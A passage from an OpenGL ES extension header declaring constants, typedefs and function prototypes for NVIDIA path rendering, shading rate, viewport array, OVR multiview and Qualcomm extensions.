GLfloat *x, GLfloat *y, GLfloat *tangentX, GLfloat *tangentY); GL_APICALL void GL_APIENTRY glMatrixLoad3x2fNV (GLenum matrixMode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixLoad3x3fNV (GLenum matrixMode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixLoadTranspose3x3fNV (GLenum matrixMode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixMult3x2fNV (GLenum matrixMode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixMult3x3fNV (GLenum matrixMode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixMultTranspose3x3fNV (GLenum matrixMode, const GLfloat *m); GL_APICALL void GL_APIENTRY glStencilThenCoverFillPathNV (GLuint path, GLenum fillMode, GLuint mask, GLenum coverMode); GL_APICALL void GL_APIENTRY glStencilThenCoverStrokePathNV (GLuint path, GLint reference, GLuint mask, GLenum coverMode); GL_APICALL void GL_APIENTRY glStencilThenCoverFillPathInstancedNV (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLenum fillMode, GLuint mask, GLenum coverMode, GLenum transformType, const GLfloat *transformValues); GL_APICALL void GL_APIENTRY glStencilThenCoverStrokePathInstancedNV (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLint reference, GLuint mask, GLenum coverMode, GLenum transformType, const GLfloat *transformValues); GL_APICALL GLenum GL_APIENTRY glPathGlyphIndexRangeNV (GLenum fontTarget, const void *fontName, GLbitfield fontStyle, GLuint pathParameterTemplate, GLfloat emScale, GLuint baseAndCount[2]); GL_APICALL GLenum GL_APIENTRY glPathGlyphIndexArrayNV (GLuint firstPathName, GLenum fontTarget, const void *fontName, GLbitfield fontStyle, GLuint firstGlyphIndex, GLsizei numGlyphs, GLuint pathParameterTemplate, GLfloat emScale); GL_APICALL GLenum GL_APIENTRY glPathMemoryGlyphIndexArrayNV (GLuint firstPathName, GLenum fontTarget, GLsizeiptr fontSize, const void *fontData, GLsizei faceIndex, GLuint firstGlyphIndex, GLsizei numGlyphs, GLuint pathParameterTemplate, GLfloat emScale); GL_APICALL void GL_APIENTRY glProgramPathFragmentInputGenNV (GLuint program, GLint location, GLenum genMode, GLint components, const GLfloat *coeffs); GL_APICALL void GL_APIENTRY glGetProgramResourcefvNV (GLuint program, GLenum programInterface, GLuint index, GLsizei propCount, const GLenum *props, GLsizei bufSize, GLsizei *length, GLfloat *params); GL_APICALL void GL_APIENTRY glMatrixFrustumEXT (GLenum mode, GLdouble left, GLdouble right, GLdouble bottom, GLdouble top, GLdouble zNear, GLdouble zFar); GL_APICALL void GL_APIENTRY glMatrixLoadIdentityEXT (GLenum mode); GL_APICALL void GL_APIENTRY glMatrixLoadTransposefEXT (GLenum mode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixLoadTransposedEXT (GLenum mode, const GLdouble *m); GL_APICALL void GL_APIENTRY glMatrixLoadfEXT (GLenum mode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixLoaddEXT (GLenum mode, const GLdouble *m); GL_APICALL void GL_APIENTRY glMatrixMultTransposefEXT (GLenum mode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixMultTransposedEXT (GLenum mode, const GLdouble *m); GL_APICALL void GL_APIENTRY glMatrixMultfEXT (GLenum mode, const GLfloat *m); GL_APICALL void GL_APIENTRY glMatrixMultdEXT (GLenum mode, const GLdouble *m); GL_APICALL void GL_APIENTRY glMatrixOrthoEXT (GLenum mode, GLdouble left, GLdouble right, GLdouble bottom, GLdouble top, GLdouble zNear, GLdouble zFar); GL_APICALL void GL_APIENTRY glMatrixPopEXT (GLenum mode); GL_APICALL void GL_APIENTRY glMatrixPushEXT (GLenum mode); GL_APICALL void GL_APIENTRY glMatrixRotatefEXT (GLenum mode, GLfloat angle, GLfloat x, GLfloat y, GLfloat z); GL_APICALL void GL_APIENTRY glMatrixRotatedEXT (GLenum mode, GLdouble angle, GLdouble x, GLdouble y, GLdouble z); GL_APICALL void GL_APIENTRY glMatrixScalefEXT (GLenum mode, GLfloat x, GLfloat y, GLfloat z); GL_APICALL void GL_APIENTRY glMatrixScaledEXT (GLenum mode, GLdouble x, GLdouble y, GLdouble z); GL_APICALL void GL_APIENTRY glMatrixTranslatefEXT (GLenum mode, GLfloat x, GLfloat y, GLfloat z); GL_APICALL void GL_APIENTRY glMatrixTranslatedEXT (GLenum mode, GLdouble x, GLdouble y, GLdouble z); #endif #endif /* GL_NV_path_rendering */ #ifndef GL_NV_path_rendering_shared_edge #define GL_NV_path_rendering_shared_edge 1 #define GL_SHARED_EDGE_NV 0xC0 #endif /* GL_NV_path_rendering_shared_edge */ #ifndef GL_NV_pixel_buffer_object #define GL_NV_pixel_buffer_object 1 #define GL_PIXEL_PACK_BUFFER_NV 0x88EB #define GL_PIXEL_UNPACK_BUFFER_NV 0x88EC #define GL_PIXEL_PACK_BUFFER_BINDING_NV 0x88ED #define GL_PIXEL_UNPACK_BUFFER_BINDING_NV 0x88EF #endif /* GL_NV_pixel_buffer_object */ #ifndef GL_NV_polygon_mode #define GL_NV_polygon_mode 1 #define GL_POLYGON_MODE_NV 0x0B40 #define GL_POLYGON_OFFSET_POINT_NV 0x2A01 #define GL_POLYGON_OFFSET_LINE_NV 0x2A02 #define GL_POINT_NV 0x1B00 #define GL_LINE_NV 0x1B01 #define GL_FILL_NV 0x1B02 typedef void (GL_APIENTRYP PFNGLPOLYGONMODENVPROC) (GLenum face, GLenum mode); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glPolygonModeNV (GLenum face, GLenum mode); #endif #endif /* GL_NV_polygon_mode */ #ifndef GL_NV_read_buffer #define GL_NV_read_buffer 1 #define GL_READ_BUFFER_NV 0x0C02 typedef void (GL_APIENTRYP PFNGLREADBUFFERNVPROC) (GLenum mode); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glReadBufferNV (GLenum mode); #endif #endif /* GL_NV_read_buffer */ #ifndef GL_NV_read_buffer_front #define GL_NV_read_buffer_front 1 #endif /* GL_NV_read_buffer_front */ #ifndef GL_NV_read_depth #define GL_NV_read_depth 1 #endif /* GL_NV_read_depth */ #ifndef GL_NV_read_depth_stencil #define GL_NV_read_depth_stencil 1 #endif /* GL_NV_read_depth_stencil */ #ifndef GL_NV_read_stencil #define GL_NV_read_stencil 1 #endif /* GL_NV_read_stencil */ #ifndef GL_NV_representative_fragment_test #define GL_NV_representative_fragment_test 1 #define GL_REPRESENTATIVE_FRAGMENT_TEST_NV 0x937F #endif /* GL_NV_representative_fragment_test */ #ifndef GL_NV_sRGB_formats #define GL_NV_sRGB_formats 1 #define GL_SLUMINANCE_NV 0x8C46 #define GL_SLUMINANCE_ALPHA_NV 0x8C44 #define GL_SRGB8_NV 0x8C41 #define GL_SLUMINANCE8_NV 0x8C47 #define GL_SLUMINANCE8_ALPHA8_NV 0x8C45 #define GL_COMPRESSED_SRGB_S3TC_DXT1_NV 0x8C4C #define GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT1_NV 0x8C4D #define GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT3_NV 0x8C4E #define GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT5_NV 0x8C4F #define GL_ETC1_SRGB8_NV 0x88EE #endif /* GL_NV_sRGB_formats */ #ifndef GL_NV_sample_locations #define GL_NV_sample_locations 1 #define GL_SAMPLE_LOCATION_SUBPIXEL_BITS_NV 0x933D #define GL_SAMPLE_LOCATION_PIXEL_GRID_WIDTH_NV 0x933E #define GL_SAMPLE_LOCATION_PIXEL_GRID_HEIGHT_NV 0x933F #define GL_PROGRAMMABLE_SAMPLE_LOCATION_TABLE_SIZE_NV 0x9340 #define GL_SAMPLE_LOCATION_NV 0x8E50 #define GL_PROGRAMMABLE_SAMPLE_LOCATION_NV 0x9341 #define GL_FRAMEBUFFER_PROGRAMMABLE_SAMPLE_LOCATIONS_NV 0x9342 #define GL_FRAMEBUFFER_SAMPLE_LOCATION_PIXEL_GRID_NV 0x9343 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERSAMPLELOCATIONSFVNVPROC) (GLenum target, GLuint start, GLsizei count, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLNAMEDFRAMEBUFFERSAMPLELOCATIONSFVNVPROC) (GLuint framebuffer, GLuint start, GLsizei count, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLRESOLVEDEPTHVALUESNVPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferSampleLocationsfvNV (GLenum target, GLuint start, GLsizei count, const GLfloat *v); GL_APICALL void GL_APIENTRY glNamedFramebufferSampleLocationsfvNV (GLuint framebuffer, GLuint start, GLsizei count, const GLfloat *v); GL_APICALL void GL_APIENTRY glResolveDepthValuesNV (void); #endif #endif /* GL_NV_sample_locations */ #ifndef GL_NV_sample_mask_override_coverage #define GL_NV_sample_mask_override_coverage 1 #endif /* GL_NV_sample_mask_override_coverage */ #ifndef GL_NV_scissor_exclusive #define GL_NV_scissor_exclusive 1 #define GL_SCISSOR_TEST_EXCLUSIVE_NV 0x9555 #define GL_SCISSOR_BOX_EXCLUSIVE_NV 0x9556 typedef void (GL_APIENTRYP PFNGLSCISSOREXCLUSIVENVPROC) (GLint x, GLint y, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLSCISSOREXCLUSIVEARRAYVNVPROC) (GLuint first, GLsizei count, const GLint *v); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glScissorExclusiveNV (GLint x, GLint y, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glScissorExclusiveArrayvNV (GLuint first, GLsizei count, const GLint *v); #endif #endif /* GL_NV_scissor_exclusive */ #ifndef GL_NV_shader_atomic_fp16_vector #define GL_NV_shader_atomic_fp16_vector 1 #endif /* GL_NV_shader_atomic_fp16_vector */ #ifndef GL_NV_shader_noperspective_interpolation #define GL_NV_shader_noperspective_interpolation 1 #endif /* GL_NV_shader_noperspective_interpolation */ #ifndef GL_NV_shader_subgroup_partitioned #define GL_NV_shader_subgroup_partitioned 1 #define GL_SUBGROUP_FEATURE_PARTITIONED_BIT_NV 0x00000100 #endif /* GL_NV_shader_subgroup_partitioned */ #ifndef GL_NV_shader_texture_footprint #define GL_NV_shader_texture_footprint 1 #endif /* GL_NV_shader_texture_footprint */ #ifndef GL_NV_shading_rate_image #define GL_NV_shading_rate_image 1 #define GL_SHADING_RATE_IMAGE_NV 0x9563 #define GL_SHADING_RATE_NO_INVOCATIONS_NV 0x9564 #define GL_SHADING_RATE_1_INVOCATION_PER_PIXEL_NV 0x9565 #define GL_SHADING_RATE_1_INVOCATION_PER_1X2_PIXELS_NV 0x9566 #define GL_SHADING_RATE_1_INVOCATION_PER_2X1_PIXELS_NV 0x9567 #define GL_SHADING_RATE_1_INVOCATION_PER_2X2_PIXELS_NV 0x9568 #define GL_SHADING_RATE_1_INVOCATION_PER_2X4_PIXELS_NV 0x9569 #define GL_SHADING_RATE_1_INVOCATION_PER_4X2_PIXELS_NV 0x956A #define GL_SHADING_RATE_1_INVOCATION_PER_4X4_PIXELS_NV 0x956B #define GL_SHADING_RATE_2_INVOCATIONS_PER_PIXEL_NV 0x956C #define GL_SHADING_RATE_4_INVOCATIONS_PER_PIXEL_NV 0x956D #define GL_SHADING_RATE_8_INVOCATIONS_PER_PIXEL_NV 0x956E #define GL_SHADING_RATE_16_INVOCATIONS_PER_PIXEL_NV 0x956F #define GL_SHADING_RATE_IMAGE_BINDING_NV 0x955B #define GL_SHADING_RATE_IMAGE_TEXEL_WIDTH_NV 0x955C #define GL_SHADING_RATE_IMAGE_TEXEL_HEIGHT_NV 0x955D #define GL_SHADING_RATE_IMAGE_PALETTE_SIZE_NV 0x955E #define GL_MAX_COARSE_FRAGMENT_SAMPLES_NV 0x955F #define GL_SHADING_RATE_SAMPLE_ORDER_DEFAULT_NV 0x95AE #define GL_SHADING_RATE_SAMPLE_ORDER_PIXEL_MAJOR_NV 0x95AF #define GL_SHADING_RATE_SAMPLE_ORDER_SAMPLE_MAJOR_NV 0x95B0 typedef void (GL_APIENTRYP PFNGLBINDSHADINGRATEIMAGENVPROC) (GLuint texture); typedef void (GL_APIENTRYP PFNGLGETSHADINGRATEIMAGEPALETTENVPROC) (GLuint viewport, GLuint entry, GLenum *rate); typedef void (GL_APIENTRYP PFNGLGETSHADINGRATESAMPLELOCATIONIVNVPROC) (GLenum rate, GLuint samples, GLuint index, GLint *location); typedef void (GL_APIENTRYP PFNGLSHADINGRATEIMAGEBARRIERNVPROC) (GLboolean synchronize); typedef void (GL_APIENTRYP PFNGLSHADINGRATEIMAGEPALETTENVPROC) (GLuint viewport, GLuint first, GLsizei count, const GLenum *rates); typedef void (GL_APIENTRYP PFNGLSHADINGRATESAMPLEORDERNVPROC) (GLenum order); typedef void (GL_APIENTRYP PFNGLSHADINGRATESAMPLEORDERCUSTOMNVPROC) (GLenum rate, GLuint samples, const GLint *locations); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBindShadingRateImageNV (GLuint texture); GL_APICALL void GL_APIENTRY glGetShadingRateImagePaletteNV (GLuint viewport, GLuint entry, GLenum *rate); GL_APICALL void GL_APIENTRY glGetShadingRateSampleLocationivNV (GLenum rate, GLuint samples, GLuint index, GLint *location); GL_APICALL void GL_APIENTRY glShadingRateImageBarrierNV (GLboolean synchronize); GL_APICALL void GL_APIENTRY glShadingRateImagePaletteNV (GLuint viewport, GLuint first, GLsizei count, const GLenum *rates); GL_APICALL void GL_APIENTRY glShadingRateSampleOrderNV (GLenum order); GL_APICALL void GL_APIENTRY glShadingRateSampleOrderCustomNV (GLenum rate, GLuint samples, const GLint *locations); #endif #endif /* GL_NV_shading_rate_image */ #ifndef GL_NV_shadow_samplers_array #define GL_NV_shadow_samplers_array 1 #define GL_SAMPLER_2D_ARRAY_SHADOW_NV 0x8DC4 #endif /* GL_NV_shadow_samplers_array */ #ifndef GL_NV_shadow_samplers_cube #define GL_NV_shadow_samplers_cube 1 #define GL_SAMPLER_CUBE_SHADOW_NV 0x8DC5 #endif /* GL_NV_shadow_samplers_cube */ #ifndef GL_NV_stereo_view_rendering #define GL_NV_stereo_view_rendering 1 #endif /* GL_NV_stereo_view_rendering */ #ifndef GL_NV_texture_border_clamp #define GL_NV_texture_border_clamp 1 #define GL_TEXTURE_BORDER_COLOR_NV 0x1004 #define GL_CLAMP_TO_BORDER_NV 0x812D #endif /* GL_NV_texture_border_clamp */ #ifndef GL_NV_texture_compression_s3tc_update #define GL_NV_texture_compression_s3tc_update 1 #endif /* GL_NV_texture_compression_s3tc_update */ #ifndef GL_NV_texture_npot_2D_mipmap #define GL_NV_texture_npot_2D_mipmap 1 #endif /* GL_NV_texture_npot_2D_mipmap */ #ifndef GL_NV_viewport_array #define GL_NV_viewport_array 1 #define GL_MAX_VIEWPORTS_NV 0x825B #define GL_VIEWPORT_SUBPIXEL_BITS_NV 0x825C #define GL_VIEWPORT_BOUNDS_RANGE_NV 0x825D #define GL_VIEWPORT_INDEX_PROVOKING_VERTEX_NV 0x825F typedef void (GL_APIENTRYP PFNGLVIEWPORTARRAYVNVPROC) (GLuint first, GLsizei count, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLVIEWPORTINDEXEDFNVPROC) (GLuint index, GLfloat x, GLfloat y, GLfloat w, GLfloat h); typedef void (GL_APIENTRYP PFNGLVIEWPORTINDEXEDFVNVPROC) (GLuint index, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLSCISSORARRAYVNVPROC) (GLuint first, GLsizei count, const GLint *v); typedef void (GL_APIENTRYP PFNGLSCISSORINDEXEDNVPROC) (GLuint index, GLint left, GLint bottom, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLSCISSORINDEXEDVNVPROC) (GLuint index, const GLint *v); typedef void (GL_APIENTRYP PFNGLDEPTHRANGEARRAYFVNVPROC) (GLuint first, GLsizei count, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLDEPTHRANGEINDEXEDFNVPROC) (GLuint index, GLfloat n, GLfloat f); typedef void (GL_APIENTRYP PFNGLGETFLOATI_VNVPROC) (GLenum target, GLuint index, GLfloat *data); typedef void (GL_APIENTRYP PFNGLENABLEINVPROC) (GLenum target, GLuint index); typedef void (GL_APIENTRYP PFNGLDISABLEINVPROC) (GLenum target, GLuint index); typedef GLboolean (GL_APIENTRYP PFNGLISENABLEDINVPROC) (GLenum target, GLuint index); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glViewportArrayvNV (GLuint first, GLsizei count, const GLfloat *v); GL_APICALL void GL_APIENTRY glViewportIndexedfNV (GLuint index, GLfloat x, GLfloat y, GLfloat w, GLfloat h); GL_APICALL void GL_APIENTRY glViewportIndexedfvNV (GLuint index, const GLfloat *v); GL_APICALL void GL_APIENTRY glScissorArrayvNV (GLuint first, GLsizei count, const GLint *v); GL_APICALL void GL_APIENTRY glScissorIndexedNV (GLuint index, GLint left, GLint bottom, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glScissorIndexedvNV (GLuint index, const GLint *v); GL_APICALL void GL_APIENTRY glDepthRangeArrayfvNV (GLuint first, GLsizei count, const GLfloat *v); GL_APICALL void GL_APIENTRY glDepthRangeIndexedfNV (GLuint index, GLfloat n, GLfloat f); GL_APICALL void GL_APIENTRY glGetFloati_vNV (GLenum target, GLuint index, GLfloat *data); GL_APICALL void GL_APIENTRY glEnableiNV (GLenum target, GLuint index); GL_APICALL void GL_APIENTRY glDisableiNV (GLenum target, GLuint index); GL_APICALL GLboolean GL_APIENTRY glIsEnablediNV (GLenum target, GLuint index); #endif #endif /* GL_NV_viewport_array */ #ifndef GL_NV_viewport_array2 #define GL_NV_viewport_array2 1 #endif /* GL_NV_viewport_array2 */ #ifndef GL_NV_viewport_swizzle #define GL_NV_viewport_swizzle 1 #define GL_VIEWPORT_SWIZZLE_POSITIVE_X_NV 0x9350 #define GL_VIEWPORT_SWIZZLE_NEGATIVE_X_NV 0x9351 #define GL_VIEWPORT_SWIZZLE_POSITIVE_Y_NV 0x9352 #define GL_VIEWPORT_SWIZZLE_NEGATIVE_Y_NV 0x9353 #define GL_VIEWPORT_SWIZZLE_POSITIVE_Z_NV 0x9354 #define GL_VIEWPORT_SWIZZLE_NEGATIVE_Z_NV 0x9355 #define GL_VIEWPORT_SWIZZLE_POSITIVE_W_NV 0x9356 #define GL_VIEWPORT_SWIZZLE_NEGATIVE_W_NV 0x9357 #define GL_VIEWPORT_SWIZZLE_X_NV 0x9358 #define GL_VIEWPORT_SWIZZLE_Y_NV 0x9359 #define GL_VIEWPORT_SWIZZLE_Z_NV 0x935A #define GL_VIEWPORT_SWIZZLE_W_NV 0x935B typedef void (GL_APIENTRYP PFNGLVIEWPORTSWIZZLENVPROC) (GLuint index, GLenum swizzlex, GLenum swizzley, GLenum swizzlez, GLenum swizzlew); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glViewportSwizzleNV (GLuint index, GLenum swizzlex, GLenum swizzley, GLenum swizzlez, GLenum swizzlew); #endif #endif /* GL_NV_viewport_swizzle */ #ifndef GL_OVR_multiview #define GL_OVR_multiview 1 #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_NUM_VIEWS_OVR 0x9630 #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_BASE_VIEW_INDEX_OVR 0x9632 #define GL_MAX_VIEWS_OVR 0x9631 #define GL_FRAMEBUFFER_INCOMPLETE_VIEW_TARGETS_OVR 0x9633 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC) (GLenum target, GLenum attachment, GLuint texture, GLint level, GLint baseViewIndex, GLsizei numViews); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferTextureMultiviewOVR (GLenum target, GLenum attachment, GLuint texture, GLint level, GLint baseViewIndex, GLsizei numViews); #endif #endif /* GL_OVR_multiview */ #ifndef GL_OVR_multiview2 #define GL_OVR_multiview2 1 #endif /* GL_OVR_multiview2 */ #ifndef GL_OVR_multiview_multisampled_render_to_texture #define GL_OVR_multiview_multisampled_render_to_texture 1 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTUREMULTISAMPLEMULTIVIEWOVRPROC) (GLenum target, GLenum attachment, GLuint texture, GLint level, GLsizei samples, GLint baseViewIndex, GLsizei numViews); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferTextureMultisampleMultiviewOVR (GLenum target, GLenum attachment, GLuint texture, GLint level, GLsizei samples, GLint baseViewIndex, GLsizei numViews); #endif #endif /* GL_OVR_multiview_multisampled_render_to_texture */ #ifndef GL_QCOM_YUV_texture_gather #define GL_QCOM_YUV_texture_gather 1 #endif /* GL_QCOM_YUV_texture_gather */ #ifndef GL_QCOM_alpha_test #define GL_QCOM_alpha_test 1 #define GL_ALPHA_TEST_QCOM 0x0BC0 #define GL_ALPHA_TEST_FUNC_QCOM 0x0BC1 #define GL_ALPHA_TEST_REF_QCOM 0x0BC2 typedef void (GL_APIENTRYP PFNGLALPHAFUNCQCOMPROC) (GLenum func, GLclampf ref); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glAlphaFuncQCOM (GLenum func, GLclampf ref); #endif #endif /* GL_QCOM_alpha_test */ #ifndef GL_QCOM_binning_control #define GL_QCOM_binning_control 1 #define GL_BINNING_CONTROL_HINT_QCOM 0x8FB0 #define GL_CPU_OPTIMIZED_QCOM 0x8FB1 #define GL_GPU_OPTIMIZED_QCOM 0x8FB2 #define GL_RENDER_DIRECT_TO_FRAMEBUFFER_QCOM 0x8FB3 #endif /* GL_QCOM_binning_control */ #ifndef GL_QCOM_driver_control #define GL_QCOM_driver_control 1 typedef void (GL_APIENTRYP PFNGLGETDRIVERCONTROLSQCOMPROC) (GLint *num, GLsizei size, GLuint *driverControls); typedef void (GL_APIENTRYP PFNGLGETDRIVERCONTROLSTRINGQCOMPROC) (GLuint driverControl, GLsizei bufSize, GLsizei *length, GLchar *driverControlString); typedef void (GL_APIENTRYP PFNGLENABLEDRIVERCONTROLQCOMPROC) (GLuint driverControl); typedef void (GL_APIENTRYP PFNGLDISABLEDRIVERCONTROLQCOMPROC) (GLuint driverControl); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGetDriverControlsQCOM (GLint *num, GLsizei size, GLuint *driverControls); GL_APICALL void GL_APIENTRY glGetDriverControlStringQCOM (GLuint driverControl, GLsizei bufSize, GLsizei *length, GLchar *driverControlString); GL_APICALL void GL_APIENTRY glEnableDriverControlQCOM (GLuint driverControl); GL_APICALL void GL_APIENTRY glDisableDriverControlQCOM (GLuint driverControl); #endif #endif /* GL_QCOM_driver_control */ #ifndef GL_QCOM_extended_get #define GL_QCOM_extended_get 1 #define GL_TEXTURE_WIDTH_QCOM 0x8BD2 #define GL_TEXTURE_HEIGHT_QCOM 0x8BD3 #define GL_TEXTURE_DEPTH_QCOM 0x8BD4 #define GL_TEXTURE_INTERNAL_FORMAT_QCOM 0x8BD5 #define GL_TEXTURE_FORMAT_QCOM 0x8BD6 #define GL_TEXTURE_TYPE_QCOM 0x8BD7 #define GL_TEXTURE_IMAGE_VALID_QCOM 0x8BD8 #define GL_TEXTURE_NUM_LEVELS_QCOM 0x8BD9 #define GL_TEXTURE_TARGET_QCOM 0x8BDA #define GL_TEXTURE_OBJECT_VALID_QCOM 0x8BDB #define GL_STATE_RESTORE 0x8BDC typedef void (GL_APIENTRYP PFNGLEXTGETTEXTURESQCOMPROC) (GLuint *textures, GLint maxTextures, GLint *numTextures); typedef void (GL_APIENTRYP PFNGLEXTGETBUFFERSQCOMPROC) (GLuint *buffers, GLint maxBuffers, GLint *numBuffers); typedef void (GL_APIENTRYP PFNGLEXTGETRENDERBUFFERSQCOMPROC) (GLuint *renderbuffers, GLint maxRenderbuffers, GLint *numRenderbuffers); typedef void (GL_APIENTRYP PFNGLEXTGETFRAMEBUFFERSQCOMPROC) (GLuint *framebuffers, GLint maxFramebuffers, GLint *numFramebuffers); typedef void (GL_APIENTRYP PFNGLEXTGETTEXLEVELPARAMETERIVQCOMPROC) (GLuint texture, GLenum face, GLint level, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLEXTTEXOBJECTSTATEOVERRIDEIQCOMPROC) (GLenum target, GLenum pname, GLint param); typedef void (GL_APIENTRYP PFNGLEXTGETTEXSUBIMAGEQCOMPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, void *texels); typedef void (GL_APIENTRYP PFNGLEXTGETBUFFERPOINTERVQCOMPROC) (GLenum target, void **params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glExtGetTexturesQCOM (GLuint *textures, GLint maxTextures, GLint *numTextures); GL_APICALL void GL_APIENTRY glExtGetBuffersQCOM (GLuint *buffers, GLint maxBuffers, GLint *numBuffers); GL_APICALL void GL_APIENTRY glExtGetRenderbuffersQCOM (GLuint *renderbuffers, GLint maxRenderbuffers, GLint *numRenderbuffers); GL_APICALL void GL_APIENTRY glExtGetFramebuffersQCOM (GLuint *framebuffers, GLint maxFramebuffers, GLint *numFramebuffers); GL_APICALL void GL_APIENTRY glExtGetTexLevelParameterivQCOM (GLuint texture, GLenum face, GLint level, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glExtTexObjectStateOverrideiQCOM (GLenum target, GLenum pname, GLint param); GL_APICALL void GL_APIENTRY glExtGetTexSubImageQCOM (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, void *texels); GL_APICALL void GL_APIENTRY glExtGetBufferPointervQCOM (GLenum target, void **params); #endif #endif /* GL_QCOM_extended_get */ #ifndef GL_QCOM_extended_get2 #define GL_QCOM_extended_get2 1 typedef void (GL_APIENTRYP PFNGLEXTGETSHADERSQCOMPROC) (GLuint *shaders, GLint maxShaders, GLint *numShaders); typedef void (GL_APIENTRYP PFNGLEXTGETPROGRAMSQCOMPROC) (GLuint *programs, GLint maxPrograms, GLint *numPrograms); typedef GLboolean (GL_APIENTRYP PFNGLEXTISPROGRAMBINARYQCOMPROC) (GLuint program); typedef void (GL_APIENTRYP PFNGLEXTGETPROGRAMBINARYSOURCEQCOMPROC) (GLuint program, GLenum shadertype, GLchar *source, GLint *length); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glExtGetShadersQCOM (GLuint *shaders, GLint maxShaders, GLint *numShaders); GL_APICALL void GL_APIENTRY glExtGetProgramsQCOM (GLuint *programs, GLint maxPrograms, GLint *numPrograms); GL_APICALL GLboolean GL_APIENTRY glExtIsProgramBinaryQCOM (GLuint program); GL_APICALL void GL_APIENTRY glExtGetProgramBinarySourceQCOM (GLuint program, GLenum shadertype, GLchar *source, GLint *length); #endif #endif /* GL_QCOM_extended_get2 */ #ifndef GL_QCOM_framebuffer_foveated #define GL_QCOM_framebuffer_foveated 1 #define GL_FOVEATION_ENABLE_BIT_QCOM 0x00000001 #define GL_FOVEATION_SCALED_BIN_METHOD_BIT_QCOM 0x00000002 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERFOVEATIONCONFIGQCOMPROC) (GLuint framebuffer, GLuint numLayers, GLuint focalPointsPerLayer, GLuint requestedFeatures, GLuint *providedFeatures); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERFOVEATIONPARAMETERSQCOMPROC) (GLuint framebuffer, GLuint layer, GLuint focalPoint, GLfloat focalX, GLfloat focalY, GLfloat gainX, GLfloat gainY, GLfloat foveaArea); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferFoveationConfigQCOM (GLuint framebuffer, GLuint numLayers, GLuint focalPointsPerLayer, GLuint requestedFeatures, GLuint *providedFeatures); GL_APICALL void GL_APIENTRY glFramebufferFoveationParametersQCOM (GLuint framebuffer, GLuint layer, GLuint focalPoint, GLfloat focalX, GLfloat focalY, GLfloat gainX, GLfloat gainY, GLfloat foveaArea); #endif #endif /* GL_QCOM_framebuffer_foveated */ #ifndef GL_QCOM_perfmon_global_mode #define GL_QCOM_perfmon_global_mode 1 #define GL_PERFMON_GLOBAL_MODE_QCOM 0x8FA0 #endif /* GL_QCOM_perfmon_global_mode */ #ifndef GL_QCOM_shader_framebuffer_fetch_noncoherent #define GL_QCOM_shader_framebuffer_fetch_noncoherent 1 #define GL_FRAMEBUFFER_FETCH_NONCOHERENT_QCOM 0x96A2 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERFETCHBARRIERQCOMPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferFetchBarrierQCOM (void); #endif #endif /* GL_QCOM_shader_framebuffer_fetch_noncoherent */ #ifndef GL_QCOM_shader_framebuffer_fetch_rate #define GL_QCOM_shader_framebuffer_fetch_rate 1 #endif /* GL_QCOM_shader_framebuffer_fetch_rate */ #ifndef GL_QCOM_texture_foveated #define GL_QCOM_texture_foveated 1 #define GL_TEXTURE_FOVEATED_FEATURE_BITS_QCOM 0x8BFB #define GL_TEXTURE_FOVEATED_MIN_PIXEL_DENSITY_QCOM 0x8BFC #define GL_TEXTURE_FOVEATED_FEATURE_QUERY_QCOM 0x8BFD #define GL_TEXTURE_FOVEATED_NUM_FOCAL_POINTS_QUERY_QCOM 0x8BFE #define 